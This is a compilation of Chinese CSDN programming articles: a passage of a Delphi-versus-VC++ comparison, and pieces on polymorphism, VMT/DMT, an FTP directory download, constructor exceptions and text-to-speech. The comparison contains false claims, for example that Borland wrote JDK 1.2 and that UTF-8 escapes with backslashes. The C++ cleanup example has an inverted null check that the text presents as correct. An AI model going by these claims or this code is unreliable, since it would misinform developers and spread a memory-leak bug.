凡是使用了应用类库的程序(不管是MFC，OWL，VCL以及新的CLx框架)都要比不使用的大
不少。这是因为目前的智能连接(Smart Link)技术还只能针对全局变量/过程，而不能
用于对象结构。哪怕你只使用了某个类(或被这个类间接引用)的一个属性或方法，这个
类以及它所引用的所有类都全部被连接到EXE中。目前所有的编译器都没有解决这个问
题。

(PS: 其实能生成最小代码(真编译)的高级语言编译器是Turbo Pascal，不信你写程序
比较一下：
program Test;
begin
  writeln('Hello, world.');
end.
生成的EXE不到1.5K。而同样的C程序：
#include <stdio.h>
main()
{
  printf("Hello, world.\n");
}
最精悍的C/C++编译器生成的代码也有6K。
)

那么几个编译器生成的代码质量又如何呢？
举一个例子，比如我们在编程时经常用到的for循环语句：
(1) Object Pascal:
procedure Foo;
var
  i, j: integer;
begin
  for i := 0 to 15 do j := j + i;
end;
(2) C++
void Foo(void)
{
  int i, j;
  for (i = 0; i < 16; i++) j = j + i;
}

Delphi 3生成的代码(打开优化)：          字节数 时钟周期
00424AA9 33C0          xor eax,eax             1
00424AAB 40            inc eax                 1
00424AAC 83F810        cmp eax,0x10            1
00424AAF 75FA          jnz -0x06               0 (可并行)
                                        -----------------
                                        8      3
C++ Builder 5生成的代码(最大速度优化)：
00401535 33C0          xor eax,eax             1
00401537 40            inc eax                 1
00401538 83F810        cmp eax,0x10            1
0040153b 7CFA          jl  -0x06               0 (可并行)
                                        -----------------
                                        8      3

Visual C++ 5生成的代码(最大速度优化)：
27:     for (i = 0; i < 16; i ++)
00401205 mov       ecx,dowrd ptr [j]           1
00401208 xor       eax,eax                     0 (可并行)
28:     {
29:       j = j + i;
0040120A add       ecx,eax                     1
0040120C inc       eax                         1
0040120D cmp       eax,10h                     1
00401210 jl        Foo(0x0040120a)+0Ah         0 (可并行)
00401212 mov       dword ptr [j],ecx           0/1 (取决于上一条指令的分支预测情况)
30:     };
                                        -----------------
                                        16     4.2 (假定分支预测准确度80%)

VC++ 5的最小代码优化生成也有11个字节：
27:     for (i = 0; i < 16; i ++)
00401205 xor       eax,eax                     1
28:     {
29:       j = j + i;
00401207 add       dword ptr [j],eax           1
0040120A inc       eax                         1
0040120B cmp       eax,10h                     1
0040121E jl        Foo(0x00401207)+7           0 (可并行)
30:     };
                                        -----------------
                                        11     4

注：
(1) Delphi/C++ Builder的结果是用Turbo Debugger直接反汇编的，VC++ 5的结果是从
集成环境的源级调试得到的。
(2) 时钟周期数以Pentium处理器为例，实际上，对于没有并行执行单元的CPU(比如
386/486和Nx586等)VC++ 5生成的代码速度还要更慢一些。
(3) 分支预测准确度源自Intel的"Pentium Optimization Reference"。不过与具体程
序密切相关，一般来说程序中的条件转移指令越密集则分支预测准确度越低。

可以看出，Delphi/C++ Builder的这段程序有1~1.2个时钟周期的优势。这主要是因为
Delphi/C++ Builder的编译器比较智能，根本不编译无用的废语句。
(有趣的是，对于这段程序而言，VC++ 5的最大速度优化反而不如最小代码优化生成的
代码运行速度快。)
不要以为1~1.2个时钟周期不算什么，整个程序的快与慢就是这样一个个时钟周期积累
出来的。而且就这几条指令而言相当于快25%~28.6%，是非常可观的数字。
我没有用VC++ 6测试(我从VC++ 5以后不再使用VC了，因为C++ Builder 5能完全兼容
VC --- 这种兼容性从C++ Builder 3开始就有了，不过一开始并不完善)，不知道是否
有改进。有人有兴趣的话请测试一下。

有兴趣的话，可以去Jake's Code Efficiency Challenge(http://www.xnet.com/~johnjac)
看一看。那有代码运行性能挑战。目前Delphi/C++ Builder在6项测试中保持5项领先。
(PS：Delphi 2就曾在1996年的PC Week的性能测试中击败过VC++ 4.2)

2. 语言特性
首先我不想评价所谓“Pascal是玩具语言”这种无知的说法。某些连Basic都用不好的
人是不可能正确评价其它语言的优劣的。至于“只配高中生使用”就更加可笑了：
Peter Norton没上过大学，id software的John Carmack没上过大学，你不服气？！
请不要嘲笑高中生，大多数程序员可能永远也达不到这些“高中生”的水平。创造性工
作需要的是天才，你认为天才相当于什么学位？:-)

(1) 预处理，宏以及.H文件
Object Pascal不支持预处理，其实是不需要。无法直接编译源代码的编译器才需要预
处理器的支持(用于翻译/规范源程序(也包括.H之类)以利于编译)。预处理器的出现是
因为当初Ken Thompson和Dennis Ritchie要在只有256K内存的PDP-11上实现C编译器难
度很大，才采取的折衷办法。现代大多数C/C++产品已经把预处理器包含在编译器中了。
(PS：C中采用尽可能短的关键字/运算符也是由于这个历史原因)
至于macro和.H则应该说是垃圾特性，只是由于兼容性的考虑才保留下来的。ANSI/ISO
C/C++规范中明确建议：“不要使用macro和.H，应该使用程序中的常量定义和函数替
代”。因为macro和.H不是C/C++的语言特性(这是真的！)，没有明确统一的语法定义。
还会导致编译速度降低，另外由于macro在每个使用的地方被展开(不是调用)，大量使
用macro会使生成的代码臃肿。

(2) 集合，子界类型
C++不支持这些Object Pascal的原生类型(编译器能直接识别的)。但可以用类来模拟，
毕竟C++的对象结构是最复杂灵活的(Ada除外)。不过性能有损失。

(3) 枚举类型
Object Pascal不支持为每个枚举元素指定值。
例如C/C++中可以定义：enum AWeek {Sun = 1, Mon, Tue ...};
Object Pascal中只能定义：AWeek = (Sun, Mon, Tue ...);

(4) 数组
C/C++不支持Object Pascal中指定下标的数组，下标只能从0开始。

(5) 结构
Object Pascal不支持struct(在Pascal中称为record)中的位域(bitfield)。bitfield
可以bit为单位(不需要整字节)来存储结构成员，可以减小结构的存储空间。不过存取
效率会有所降低。

(6) 字符串
字符串处理是Object Pascal的强项之一。能够支持灵活高效的串处理。严格意义上讲，
C/C++不能算支持原生的字符串类型。char *和char[]更近似于用户自定义类型，因为
编译器不支持字符串的内存自动分配和回收，需要用户自己调用malloc()和free()。
Object Pascal也支持C/C++风格的字符串(称为PChar)。不过string类型更加强大。从
实现上来看，Object Pascal的string类型使用前缀表示串长度(1字节前缀的short
string和4字节前缀的long string，两种string自动兼容，并且long string也兼容
PChar)，C/C++中的char *和char[]使用后缀chr(0)表示串结束。不同的表示方法对串
处理性能有很大的影响：对于大量，复杂的字符串操作，用Object Pascal可以写出比
C/C++快几十倍的程序(许多用Pascal写的Pascal编译器，比如Free Pascal，
Pascal Pro等，虽然技术水平一般，但编译速度也很快，在某种程度上也得益于Pascal
的字符串处理效率)。比如取串长度函数Length/StrLen()，Object Pascal的实现只需
要一条mov指令，而C/C++的实现则需要进行重复串扫描直到找到结尾0为止。
Object Pascal的string类型在支持unicode字符方面也有优势。要知道C/C++的字符串
给现代操作系统支持unicode字符带来了很大的困扰，比如串'ABC'的unicode表示为：
41 00 42 00 43 00，这使C/C++程序根本无法处理这种字符串。虽然修改编译器可以很
容易解决这个问题，但光修改编译器是不够的，还要修改操作系统，否则以前的大量
C/C++程序根本无法在新操作系统上使用(这简直是灾难 --- 你连Notepad都没了，怎么
办？:-)。Windows采用凡是涉及字符串处理的API都提供两套的解决方案。比如TextOut，
有用于处理ASCII字符的TextOutA和用于处理unicode字符的TextOutW。而Unix/Linux采
用另一种办法：凡是涉及字符串处理的API都使用UTF8压缩编码(一种类似于RTF的编码
方法：凡是ASCII字符都直接存储，多字节字符则用\进行转义)，虽然(勉强)保证了兼
容性却也代价不小。
(PS：C++中的String/AnsiString是用类模拟的，所以性能...)

(7) 多重继承
毫无疑问，Object Pascal不支持多重继承；并且也看不出Borland有增加这一特性的意
向(其实增加是轻而易举的)。Object pascal通过接口(interface)实现多重继承。
interface不仅可以引入用Object Pascal实现的对象，也可以引入其他语言实现的
COM/DCOM/CORBA对象。你真的需要多重继承吗？我想大多数程序员和我一样都从来没有
使用过多重继承(连VCL这么强大灵活的体系结构都根本没有用到多重继承)。
(PS：Java和Delphi一样不支持多重继承，也使用interface来实现多重继承。其实这并
不奇怪：JDK 1.2和Java 2主要是由Borland开发的，Sun只挂名而已。不信你看Java类
库是不是和VCL很象。:-)

(8) 对象模板
Object Pascal不支持对象模板。因为对象模板不过是宏的语言实现而已(宏本身不是
C/C++的语言特性)。

(9) 重载
Object Pascal支持函数/过程的重载，不支持运算符重载。C++全部支持。
(PS：我个人倾向于Object Pascal应该增加对运算符重载的支持)

(10) 位及逻辑操作
Object Pascal和C/C++在这方面没什么差别。
C/C++的&，|，~，^，>>，<<，&&，||，!等效于Object Pascal的and，or，not，xor，
shr,shl(and，or，not，xor既用于位操作也用于逻辑操作)。不过C/C++不支持逻辑
xor(A xor B = A and not B or not A and B，还是可以实现的)。

(11) 风格
其实这是我更倾向于使用Delphi的一个重要原因(由于工作的原因，我也经常使用C++和
汇编)。就象有些文章所说的：“Object Pascal和C++是同一重量级的语言”，确实难
分轩轾，差别反而主要是在风格上。C++强调灵活，而Object Pascal更注重整洁和优美。
《程序设计语言：设计与实现》一书的作者也称赞Pascal是“一种极优美的语言”。有
人因此认为Pascal“笨拙”。其实应该是“大道至简”。我认为即使用C++写程序也还
是工工整整的好，不要卖弄技巧。只有水平不高不低的程序员才喜欢卖弄技巧(水平太
低的卖弄不了，太高的又不愿卖弄了)。就象有人评李昌镐的棋“平淡”，但马晓春再
怎么“鬼才”也只能甘拜下风。

上面说的其实都是C++ vs Object pascal。不过也适用于VC++ vs Delphi。
(PS：VC++其实并未实现全部ANSI/ISO C++ 95规范(目前的最新标准)的特性(所以有人
戏称之为C+)。而C++ Builder则完全兼容ANSI/ISO C++ 95规范，并支持AT&T(C的诞生
地)和Unix V的全部C++扩展特性。有人称“M$坚持工业标准，Borland随意修改”，这
是不对的。Delphi也全兼容ANSI/ISO Pascal 1983/92规范，以及Apple Object Pascal
(用过Code Warrior Professional的应该知道Apple的Object Pascal)。
)

3. 功能及其他
(1) 易用性
毫无疑问Delphi有巨大优势，这不用多说了吧。
(PS：Delphi的真正伟大之处在于并不因为易用而降低技术水准。你需要复杂性就有复
杂性，你需要灵活性就有灵活性；不用可视化也一样写程序(可视化只是Object Pascal
对象结构的另一面)，不用VCL也一样写程序)

(2) 适用范围
VC++几乎能做任何硬件允许的工作。Delphi也能。
(“不！！！”，我知道你会这样说，你会举出VxD。:-)
Delphi不能写VxD(其实如果你用Delphi生成OBJ，再用M$的Link连接，是可以的)是有原
因的(你见过非M$的工具能生成VxD的吗？Watcom？Symantec？GNU？...)，但不是技术
上的原因。VxD的LE(Linear Executable)文件格式最早出现在Windows 3.0中，格式很
简单(比NE和PE格式都要简单)，基本上是内存映象文件。但M$不知道出于什么动机就是
不允许其他公司的软件生成它的这种(专利)格式。
Delphi是可以写Windows NT的SYS和新的WDM(Windows Driver Model)驱动程序的，这些
使用普通的DLL格式。
(PS：从法律角度讲，你自己写一个程序，未经M$允许生成MS Word文件也是不行的)
(PS：玩过“奇迹时代”(Age of Wonders，http://www.epicgames.com)吗？是用
Delphi 3写的。画面和速度都优于M$的“帝国时代”。不过我不喜欢玩策略类游戏，我
喜欢的是Duke3d和Quake系列，还有Tomb Raider系列。:-)

(3) 集成开发环境
Delphi的IDE更简洁/好用一些。

(4) 数据库支持
在这方面除了Delphi的兄弟C++ Builder/JBuilder恐怕只有Power Builder能(勉强)与
Delphi相比。不过PB的性能和使用范围就差得太远了(要不怎么叫Poor Builder呢？:-)。
(PS：我的印象是现在大多数基于网络/大型数据库的C/S和多层结构的应用都是用
Delphi/JBuilder开发的)

(5) 网络功能
Delphi也有一定的优势。尤其是在Internet开发方面。

(6) 组件支持
Delphi除了基于Object Pascal的VCL/CLx外，也支持基于COM/DCOM的组件(比如ActiveX)，
另加CORBA支持。VC++只支持支持基于COM/DCOM的组件。

(7) 应用框架/设计思想
VCL比MFC至少领先一代，这也毋须多言。MFC充其量不过是对OWL的(一种不太成功的)模
仿而已，从设计思想上看甚至还不如OWL。作为一种语言的基本类库(不论可视与否)，
应该从大处着眼，力求简洁有效，保持一定的弹性和抽象度(抽象意味着从功能出发，
比如VCL中的TCanvas就是对Windows中DC(Device Context)的一种极好的抽象，比起MFC
中的设计高明了何止一点半点)。而不是面面俱到，一一照搬APIs(不幸的是，M$的程序
员多年以来一直在不辞劳苦地做这项工作)。看看MFC的某些类，简直惨不忍睹：通常除
了省了HWND和DC之类的参数(已经作为类的私有数据保存了)，其方法(Method)简直就是
Windows API的翻版。这样做有什么意义呢？Windows API不就摆在那里吗？比如说，使
用MFC中的线程类还不如直接调用CreateThread/ExitThread/ResumeThread/
SetThreadPriority之类的API更方便快速呢。
(PS：用过DelphiX(http://www.yks.ne.jp/~hori/)吗？DirectX这么繁杂的结构可以用
Object Pascal封装得如此之好再次证明了VCL体系结构的强大)

(8) 调试
两者相差无几。VC++的源级调试更用户友好一些，而Delphi/C++ Builder对多线程程序
的调试支持更好。
(PS：要比单独的调试工具，Borland的Turbo Debugger可就要比M$的CodeView强多了)

(9) 运行环境/系统需求
应该说差不多。VC++的启动速度确实要快于Delphi(这主要是相对于Delphi 4+而言，
Delphi 3的启动还是很快的)。这很大程度上是由于一个事实：VC++主要是一个基于文
本编辑器的传统开发环境。Code Warrior Professional不是启动更快吗？
至于“一个数据库程序要带上3~5MB的BDE运行文件”的说法，这可能是由于在安装制作
工具(InstallSheild，Wise之类)中使用了“全部BDE安装”(默认)而不是“部分BDE安
装”。如果你只使用Access，dBase，FoxPro，Paradox之类的桌面数据库，只需要几百
K的运行文件就可以了。用M$的工具开发的数据库程序也要带上一大堆ODBC，DAO，Jet，
ADO，MSDE之类的运行文件。在Delphi 5中，如果使用ADOExpress，InterBase Express
访问数据库的话，可以不带BDE。
(PS：不管怎么说，Borland在Delphi/C++ Builder的启动速度方面还是要努力改进!)

(10) 产品质量/稳定性
有文章称“VC++的质量好，稳定性高”。真的是这样吗？Visual Studio的Service Pack
不是都出到4了吗？什么是Service Pack？主要不就是Bug Fix + Patch吗？！Borland
的工具也并不完美，Delphi 3的VCL中确实存在“内存漏洞”，会导致用D3开发的程序
有时(并不总是)退出后不能释放分配的内存。VC++的问题也不少：IE是用VC++写的吧，
上网时多启动几个，开开关关，最后全关闭，看看你的系统资源剩下多少了？还经常导
致“General Protection Error”。Ultra Edit是用VC++写的吧，也有同样的问题。其
实说到底，程序质量好不好，运行稳定不稳定，主要取决于开发者的水平/责任心。比
如说Tomb Raider系列和Quake系列游戏同是用VC++开发的，但画面质量和运行速度显然
Quake系列更胜一筹。象美国航空航天局(NASA)，俄罗斯宇航局(RSA)，美洲银行(Bank
of America，资产超过5000亿美元的大银行)，其他诸如American Airlines，AT&T，
BMW，Compaq，BBC Television，British Telecom等大型机构/公司都在用Delphi开发
复杂的，企业级(可笑的是，有人居然称“用VC开发企业级的桌面应用”，殊不知企业
级应用和桌面应用是相对而言的)的应用系统(在http://community.borland.com
(Borland社团站点)上有关于用Delphi和C++ Builder开发的产品介绍)，如果有人还要
说“...稳定和可靠是硬道理，只好忍痛割爱了”，那他恐怕只好自制开发工具


CSDN_文档中心_再谈多态--多态的应用举例：

再谈多态--多态的应用举例：
这一段时间关于多态的讨论可谓一浪高过一浪，各位大虾都有高论出炉。本人也按奈不住，所以结合一下本人的工作实际，谈谈多态的应用问题。
在我做系统的早期所应用的多态情况较少,多是出现这样一些用到多态的情况
var
s : TStrings;
begin
s := TStringList.Create;
try
s.Add('hello!');
....
finally
s.free;
end;
end;
上面这段程序可能在很多人的源程序中都出现过,而且以"TStringList.add"来搜delphi的help可以看到类似的例子。对于TStrings由于其方法create是abstract所以不能直接使用必须使用其子类的Create方法。这里就是把子类(TStringList)的对象实例赋给定义的父类(TStrings)对象;而Add在TStrings中是被声明为virtual的，那么根据多态的特性s对象在使用Add方法时会调用其创建时所使用的类型(TStringList)的方法而不是TStrings。
这里还是体现不出多态的好处，那么就拿我做过的一个表格系统为例子吧。做这个系统的时候要求做一系列表格，基本上是一个表格一个Form如:TgridForm1,TgridForm2...，然后这些Form内嵌在外部的一个TContainerForm中,由TContainerForm调用所有表格Form的方法如存盘(save).到这里都没有问题，很简单。注意现在问题来了。系统要求每一个表格Form独立打包，而且程序开发过后会不断的加入新的未知的表格Form，但不允许将整个程序重新codeing和compile，对于最终用户来说只要down一个新的包含这个表格的包就能使用新的表格。这时多态的强大作用就发挥出来了。我是这么做的，做一个TParentgridForm一个所有表格Form的父类，它定义了所有可能的方法(如：save)，当然是Virtual的。这时各个表格Form根据业务要求自行实现Save等方法。 对于TContainerForm来说它只知道TParentgridForm不知道具体的表格Form但是由于多态的作用，当TContainerForm在调用内嵌在它里面的Form的Save方法时会正确的调用各个表格Form的Save方法，这样各个表格的业务逻辑就实现了。而且以后不管加多少个新的表格，TContainerForm都会实现其正确功能，并且勿需重新Compile整个系统了。哈哈，有点对象插件的味道。
可见如果大家善于利用多态的话，在现实的编程中会享受到其极大的好处。特别是对于上面这种灵活度要求很高的系统。
哈哈讲了这么多不知道大家明白不。


CSDN_文档中心_再谈多态——向上映射及VMT／DMT

再谈多态——向上映射及VMT／DMT
作者：Nicrosoft(nicrosoft@sunistudio.com) 2001.10.9
个人主页：http://www.sunistudio.com/nicrosoft/
东日文档：http://www.sunistudio.com/asp/sunidoc.asp

在《浅谈多态——概念描述》一文中，提到多态的本质就是“将子类类型的指针赋值给父类类型的指针”。那么，为什麽这种赋值是允许的，或者说是安全的呢？反过来行不行？虚函数的动态绑定是如何实现的呢？这些问题都将在本文得到解答。

假设有如下代码（Object Pascal语言描述）：
T1 = class
private
member1 : integer;
public
function func1 : Integer; virtual;
function func2 : Integer; virtual;
function func3 : Integer; virtual;
end;

T2 = class(T1)
private
member2 : integer;
public
function func1 : Integer; override;
function func2 : Integer; override;
end;

最终结果是，T1类的实例的内存分布图如下（仅说明原理，并不表示编译器一定也是如此实现）：
___________________ ________________
| vptr |-------> | T1.func1 |
| member1 | | T1.func2 |
~~~~~~~~~~~~~~~~~~~ | T1.func3 |
~~~~~~~~~~~~~~~~
其中，vptr是编译器自动加入的一个成员指针（称为虚指针）。只有存在虚函数或动态函数或纯虚函数的类才会被编译器加入这个成员指针，该指针指向一个称为“虚函数表”（Object Pascal中成为“虚方法表”——VMT）的内存区域。虚函数表中，保存了每一个虚函数的入口地址。
T2类的实例的内存分布图如下：
___________________ ________________
| vptr |-------> | T2.func1 |
| member1 | | T2.func2 |
| member2 | | T1.func3 |
~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~
从图中我们可以知道，子类对象所占的空间大于父类对象所占空间。因此，当发生将子类类型的指针赋值给父类类型的指针的赋值时（即所谓的“向上映射”），也就是父类类型的指针指向了子类类型的对象所占的内存空间，那么，很显然，可以保证父类类型指针的可访问范围都是有效，所以这种“向上映射”是绝对安全的（所谓“向上”是指类层次的上下关系，父类在上，子类在下）。这种赋值是得到编译器认可的。
也可以很容易得出结论，“向下映射”则未必安全（除非程序员真正知道指针所指对象的实际类型）。因此，这种赋值是不被编译器允许的，当然，程序员可以通过类似 T1(Obj) 的形式进行强制类型转换，但这种强制类型转换很不安全（可以发生在任何类和类之间），Object Pascal推荐使用 as 算符进行类型之间的转换，如： (Obj as T1)，使用 as 算符，编译器会检查对象类型和目标类型是否相容。如果相容，转换被允许，否则编译出错。

接着，我们看看虚函数的动态绑定是如何实现的。先看如下代码：
procedure Test;
var O : T1;
begin
O := T2.Create;
O.func1;
O.func3;
O.Free;
end;
看着上面的内存布局图，当执行 O := T2.Create; 后，一个 T1 类型的指针指向 T2 实体。执行 O.func1 时，编译器通过 vptr 找到虚函数表，在虚函数表中定位到了 T2.func1（由于 T1.func1 被“覆盖”了，因此虚函数表中找不到 T1.func1），于是，T2.func1 被调用，这就是动态绑定！但由于 T2 没有重写 func3，因此 O.func3 将调用 T1.func3，这一点在虚函数表中也可以很明显看出来。

好了，说到这里，我想动态绑定已经说的非常清楚了，说明一点，本文虽然以 Object Pascal代码为例，但其原理对于 C++也同样有效。C++与Object Pascal（甚至不同C++编译器之间）的区别仅在于类成员及vptr在内存中分布的位置而已。

那么，最后再谈一下 Object Pascal 独有的 DMT（动态方法表）吧。在VMT中，我们看到，子类的虚函数表完全继承了父类的虚函数表，只是将被覆盖了的虚函数的地址改变了。每个子类都有一份自己的虚函数表，可以想象，随着类层次的扩展，如果类层次非常深，或者子类的数量非常多的话，虚函数表将称为占用内存量非常大的东西（即所谓的“类爆炸”）。为了防止这种情况， Object Pascal 引入了 DMT。对于程序员来说，区别仅在于使用“dynamic”关键字代替“virtual”关键字，所实现的功能也完全一样。

如果把本文开头的那段代码重写如下（用 dynamic 代替 virtual）：
T1 = class
private
member1 : integer;
public
function func1 : Integer; dynamic;
function func2 : Integer; dynamic;
function func3 : Integer; dynamic;
end;

T2 = class(T1)
private
member2 : integer;
public
function func1 : Integer; override;
function func2 : Integer; override;
end;
那么，T1 的内存分布图没有改变，而 T2 实例的就不一样了：
___________________ ________________
| dptr |-------> | T2.func1 |
| member1 | | T2.func2 |
| member2 | ~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~
可以看到，在 T2 的动态方法表中，没有被覆盖的 T1.func3 消失了。因此：
procedure Test;
var O : T1;
begin
O := T2.Create;
O.func3;
O.Free;
end;
O.func3 这一句代码将被编译器做更多的处理：找到 T1 类的 func3 函数的入口地址，然后再调用。

比较一下 VMT 和 DMT 的区别：
VMT 中的虚函数非常齐全，因此对每个虚函数的入口地址只需要简单的 [vptr + n] 的运算即可得到，但是 VMT 容易消耗内存（有冗余）。而 DMT 比较节省空间，但要定位到没有被覆盖的函数的入口地址时，将非常耗费时间。

一般情况下，几乎每个子类都要覆盖的函数／方法，就将它声明为 virtual；如果类层次很深，或子类很多，但某个函数／方法只被很少的子类覆盖，就将它声明为 dynamic。当然，具体就需要自己把握来选择了。


CSDN_文档中心_再谈使用ftp控件下载一个目录

再谈使用ftp控件下载一个目录

上次写了篇“使用ftp控件下载一个目录”，里面写的目录下载函数在nt下使用正常，但升级到2000下不能正常使用。
将windows 2000的ftp站点属性中的目录列表风格改为unix也不行。我认为是delphi自带的NMFTP控件太老，对2000支持不好的原因。我在提供该控件的公司的网站上想下载一个最新版本，发现要交$199.95费用！
没办法，干脆不用控件，直接用微软提供的相关ftp函数直接来完成。使用进栈和出栈的原理，有目录和文件就进栈，下载后就出栈，等到栈空的时候也就是整个目录（包含各级子目录）下载完毕的时候。
整个目录下载的函数如下，有兴趣着可参考一下：

function Tmyftp.dir_download(remotedir:string;localdir:string):Boolean;
var dirstack: TStack;
prtdir,nowprtdir: PDirstru;
dirover : Boolean;
begin
result := false;
dirstack := TStack.create;
new(prtdir);
if prtdir<>Nil then
begin
prtdir.ftpdirstr := remotedir;
prtdir.localdirstr := localdir;
prtdir.finishflag := false;
dirstack.Push(prtdir);
if not directoryexists(localdir) then
createdir(localdir);
end;

while dirstack.count>0 do
begin
nowprtdir := dirstack.pop;
change_dir(nowprtdir^.ftpdirstr);
ListHandle := FtpFindFirstFile(FtpHandle,'*.*',FindData,0,0);
if ListHandle <> Nil then
begin
dirover := true;
while dirover do
begin
if finddata.dwFileAttributes = FILE_ATTRIBUTE_DIRECTORY then
begin
new(prtdir);
if prtdir <> Nil then
begin
prtdir.ftpdirstr := nowprtdir^.ftpdirstr+finddata.cfilename+'\';
prtdir.localdirstr := nowprtdir^.localdirstr+finddata.cfilename+'\';
prtdir.finishflag := false;
dirstack.Push(prtdir);
if not directoryexists(nowprtdir^.localdirstr+trim(finddata.cfilename)) then
createdir(nowprtdir^.localdirstr+trim(finddata.cfilename));
end
else
begin
errno := 4;
errmsg := '在目录download过程中不能申请得到内存。';
raise FtpException.create(errmsg);
end
end
else begin
try
if not FtpGetFile(FtpHandle,pchar(nowprtdir^.ftpdirstr+finddata.cfilename),
pchar(nowprtdir^.localdirstr+finddata.cfilename),false,0,0,0) then
begin
errno := 5;
errmsg := '在download文件 '+nowprtdir^.ftpdirstr+finddata.cfilename+' 时发生错误。';
raise FtpException.create(errmsg);
end;
except
on exception do
begin
errno := 6;
errmsg := '在download文件 '+nowprtdir^.ftpdirstr+finddata.cfilename+' 时发生例外错误。';
raise FtpException.create(errmsg);
end;
end
end;

dirover := InternetFindNextFile(ListHandle,@finddata)
end;
InternetCloseHandle(ListHandle);
end
else
begin
end;
dispose(nowprtdir);
end;
end;

更多的原创文章：
http://aton.126.com


CSDN_文档中心_再谈异常——谈C++与Object Pascal中的构造函数与异常

再谈异常——谈C++与Object Pascal中的构造函数与异常

作者：Nicrosoft(nicrosoft@sunistudio.com) 2001.9.15
个人主页：http://www.sunistudio.com/nicrosoft/
东日文档：http://www.sunistudio.com/asp/sunidoc.asp

    我们知道，类的构造函数是没有返回值的，如果构造函数构造对象失败，不可能依靠返回错误代码。那么，在程序中如何标识构造函数的失败呢？最“标准”的方法就是：抛出一个异常。

    构造函数失败，意味着对象的构造失败，那么抛出异常之后，这个“半死不活”的对象会被如何处理呢？这就是本文的主题。

    在C++中，构造函数抛出异常后，析构函数不会被调用。这是合理的，因为此时对象并没有被完整构造。也就是说，如果构造函数已经做了一些诸如分配内存、打开文件等操作的话，那么类需要有自己的成员来记住做过哪些动作。在C++中，经典的解决方案是使用STL的标准类auto_ptr，这在每一本经典C++著作中都有介绍，我在这里就不多说了。在这里，我想再介绍一种“非常规”的方式，其思想就是避免在构造函数中抛出异常。我们可以在类中增加一个 Init(); 以及 UnInit();成员函数用于进行容易产生错误的资源分配工作，而真正的构造函数中先将所有成员置为NULL，然后调用 Init(); 并判断其返回值（或者捕捉 Init()抛出的异常），如果Init();失败了，则在构造函数中调用 UnInit(); 并设置一个标志位表明构造失败。UnInit()中按照成员是否为NULL进行资源的释放工作。示例代码如下：
class A
{
private:
char* str;
int failed;

public:
A();
~A();
int Init();
int UnInit();
int Failed();
};

A::A()
{
str = NULL;
try
{
Init();
failed = 0;
}
catch(...)
{
failed = 1;
UnInit();
}
}

A::~A()
{
UnInit();
}

int A::Init()
{
str = new char[10];
strcpy(str, "ABCDEFGHI");
throw 10;

return 1;
}

int A::UnInit()
{
if (!str)
{
delete []str;
str = NULL;
}

printf("Free Resource\n");
return 1;
}

int A::Failed()
{
return failed;
}

int main(int argc, char* argv[])
{
A* a = new A;
if ( a->Failed() )
printf("failed\n");
else
printf("succeeded\n");

delete a;

getchar();
return 0;
}

    你会发现，在int A::Init()中包含了throw 10;的代码（产生一个异常，模拟错误的发生），执行结果是：
    Free Resource
    failed
    Free Resource
    虽然 UnInit();被调用了两次，但是由于UnInit();中做了判断（if (!str)），因此不会发生错误。而如果没有发生异常（去掉 int A::Init()中的throw 10;代码），执行结果是：
    Succeeded
    Free Resource
    和正常的流程没有任何区别。

    在Object Pascal（Delphi/VCL）中，这个问题就变得非常的简单了，因为 OP 对构造函数的异常的处理与C++不同，在Create时抛出异常后，编译器会自动调用析构函数Destroy，并且会判断哪些资源被分配了，实行自动回收。因此，其代码也变得非常简洁，如下：
type
A = class
private
    str : PChar;
public
    constructor Create();
    destructor Destroy(); override;
end;

constructor A.Create();
begin
    str := StrAlloc(10);
    StrCopy(str, 'ABCDEFGHI');
    raise Exception.Create('error');
end;

destructor A.Destroy();
begin
    StrDispose(str);
    WriteLn('Free Resource');
end;

var oa : A;
    i : integer;
begin
    try
     oa := A.Create();
     WriteLn('Succeeded');
     oa.Free();
    except
     oa := nil;
     WriteLn('Failed');
    end;

    Read(i);
end.

    在这段代码中，如果构造函数抛出异常（即Create中含有raise Exception.Create('error');），执行的结果是：
    Free Resource
    Failed
    此时的“Free Resource”输出是由编译器自动调用析构函数所产生的。而如果构造函数正常返回（即不抛出异常），则执行结果是：
    Succeeded
    Free Resource
    此时的“Free Resource”输出是由 oa.Free()的调用产生的。

    综上，C++与Object Pascal对于构造函数抛出异常后的不同处理方式，其实正是两种语言的设计思想的体现。C++秉承C的风格，注重效率，一切交给程序员来掌握，编译器不作多余动作。Object Pascal继承Pascal的风格，注重程序的美学意义（不可否认，Pascal代码是全世界最优美的代码），编译器帮助程序员完成复杂的工作。两种语言都有存在的理由，都有存在的必要！而掌握它们之间的差别，能让你更好地控制它们，达到自由的理想王国。


CSDN_文档中心_在 程 序 中 加 入 英 文 朗 读 功 能

在 程 序 中 加 入
英 文 朗 读 功 能

华 中 师 范 大 学 卢 小 海(flier@126.com)

---- 金 山 词 霸2000 的 英 文 全 文 朗 读 功 能 相 信 一 定 给 尝 试 过 的 用 户 留 下 了 很 深 刻 的 印 象， 而 作 为 一 个 程 序 设 计 者， 你 一 定 也 想 在 自 己 的 程 序 中 加 入 类 似 的 功 能 吧， 因 为 那 将 让 自 己 的 程 序 增 色 不 少。

----其 实 这 并 不 是 一 件 困 难 的 事， 因 为 金 山 词 霸 实 际 上 也 只 是 直 接 使 用 了MS 的TTS（Text －to －Speech） 技 术 而 已， 通 过 对MS Speech API 的 编 程， 我 们 完 全 可 以 实 现 比 其 更 强 大 的 功 能。 下 面， 让 我 们 在Delphi 环 境 下 实 际 尝 试 一 下。

----首 先 从 金 山 词 霸 的 光 盘 上\ciba 目 录 下 运 行 并 安 装mstts.exe(MS TTS engine) 和spchapi.exe(MS Speech API)。

----再 在Delphi 里 新 建 一 个Application。

----然 后 从Delphi 的 菜 单Project/Import Type Library... 中 选 击Add...， 浏 览 到Windows 目 录 下 的Speech 子 目 录 里， 打 开vtxtauto.tlb， 可 以 看 到 下 面Class names 中 会 出 现 我 们 需 要 的 接 口 的 包 装 类 的 名 字TVTxtAuto， 注 意 对 话 框 底 部 的Generate Component Wrapper 需 要 被 选 中， 点 击Create Unit 就 可 以 打 开 一 个 名 为VTxtAuto_TLB 的Unit。

----至 此， 我 们 就 可 以 开 始 实 际 编 程 了。

----首 先 在Form 的OnCreate 中 对 需 要 使 用 接 口 初 始 化 并 进 行 注 册：

    ...
    procedure TfrmMain.FormCreate(Sender: TObject);
    begin
    FISpeech := CoVTxtAuto_.Create;
    FISpeech.Register(‘Demo Site', ‘Demo App');
    end;
...

